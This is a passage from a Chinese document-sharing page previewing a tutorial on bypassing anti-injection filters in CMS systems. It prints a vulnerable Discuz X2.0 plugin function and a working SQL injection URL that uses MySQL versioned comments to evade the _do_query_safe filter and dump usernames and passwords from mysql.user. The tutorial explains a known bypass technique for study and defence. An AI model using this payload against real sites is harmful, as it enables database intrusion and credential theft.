几种通用防注入程序绕过方法.doc

  1. 1、本文档共28页,可阅读全部内容。
  2. 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
  3. 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  4. 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
几种通用防注入程序绕过方法

几种通用防注入程序绕过方法 0×00 前言 目前主流的CMS系统当中都会内置一些防注入的程序,例如Discuz、dedeCMS等,本篇主要介绍绕过方法。 0×01 Discuz x2.0防注入 防注入原理 这里以Discuz最近爆出的一个插件的注入漏洞为例,来详细说明绕过方法。 漏洞本身很简单,存在于/source/plugin/v63shop/config.inc.php中的第29行getGoods函数中,代码如下所示 ? 01 functiongetGoods($id){ 02 ??????$query= DB::query(‘select * from ‘.DB::table(‘v63_goods’).’ where `id` =’.$id); 03 ????????$goods= DB::fetch($query); 04 ????????$goods[endtime2] =date(‘Y-m-d’,$goods[endtime]); 05 ????????$goods[price2] =$goods[price]; 06 ????????if($goods[sort] ==2){ 07 ????????????$goods[endtime2]=date(‘Y-m-d H:i:s’,$goods[endtime]); 08 ????????????$query= DB::query(“select * from “.DB::table(‘v63_pm’).” where gid=’$goods[id]‘ order by id desc “); 09 ????????????$last= DB::fetch($query); 10 ????????????if(is_array($last)){ 11 ????????????????$goods[price] =$last[chujia]; 12 ????????????????$goods[uid]? =$last[uid]; 13 ????????????????$goods[username]? =$last[username]; 14 ????????????????$goods[pm] =$last; 15 ????????????????if(time()+600$goods[endtime]){ 16 ????????????????????$goods[endtime] =$last[time]+600; 17 ????????????????????$goods[endtime2]=date(‘Y-m-d H:i:s’,$last[time]+600); 18 ????????????????} 19 ????????????} 20 ????????} 21 ????????return$goods; 22 } ? 触发漏洞的入口点在/source/plugin/v63shop/goods.inc.php中的第6行和第8行,如图所示: 下面可以构造如下请求触发漏洞了,如图所示: 不过程序内置了一个_do_query_safe函数用来防注入,如图所示 这里跟踪一下_do_query_safe()函数的执行,它会对以下关键字做过滤,如图所示: ? 因为我们的url中出现了union select,所以会被过滤掉。 绕过方法 这里利用Mysql的一个特性绕过_do_query_safe函数过滤,提交如下url: 1 http://localhost/discuzx2/plugin.php?id=v63shop:goodspac=infogid=1 and 1=2 union /*!50000select*/ 1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13 from mysql.user 这里我们跟踪一下,绕过的具体过程。它会将/**/中间的内容去掉,然后保存在$clean变量中,其值为 1 select?*?from?pre_v63_goods?where?`id` =1?and?1=2?union?/**/?1,2,3,4,5,6,concat(user,0×23,password),8,9,10,11,12,13?from?mysql.user 再进一步跟踪,它会将/**/也去掉,然对$clean变量做过滤,如图所示 此时$clean值,如图所示 此时$clean变量中不在含有危险字符串,绕过_do_query_safe函数过滤,成功注入,截图如下: 0×02 Discuz X2.5防注入 ? 防注入原理 Discuz X

文档评论(0)

dajuhyy + 关注
实名认证
内容提供者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档